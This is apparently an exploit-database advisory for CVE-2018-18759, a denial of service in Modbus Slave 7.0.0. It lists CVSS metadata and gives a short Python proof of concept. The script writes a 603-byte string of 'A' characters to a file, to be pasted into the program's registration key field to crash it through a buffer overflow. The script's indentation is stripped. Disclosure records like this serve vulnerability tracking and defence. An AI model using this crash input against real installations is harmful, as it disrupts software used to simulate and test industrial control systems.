Modbus Slave 7.0.0 Denial Of Service

2018.10.30

Credit: Ihsan Sencan

Risk: Low

Local: Yes

Remote: No

CVE: CVE-2018-18759

CWE: CWE-119

CVSS Base Score: 5/10

Impact Subscore: 2.9/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: None

Integrity impact: None

Availability impact: Partial

# Exploit Title: Modbus Slave 7.0.0 - Denial of Service (PoC)
# Dork: N/A
# Date: 2018-10-29
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.modbustools.com/
# Software Link: https://www.modbustools.com/download/ModbusSlaveSetup32Bit.exe
# Software Link: https://www.modbustools.com/download/ModbusSlaveSetup64Bit.exe
# Version: 7.0.0
# Category: Dos
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-18759
# POC:
# 1)
# F3 & Connection / Connect / Registration Key
#!/usr/bin/python
buffer = "A" * 603
try:
f=open("sie.txt","w")
print "[+] Creating %s bytes evil payload.." %len(buffer)
f.write(buffer)
f.close()
print "[+] File created!"
except:
print "File cannot be created"

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Modbus Slave 7.0.0 Denial Of Service

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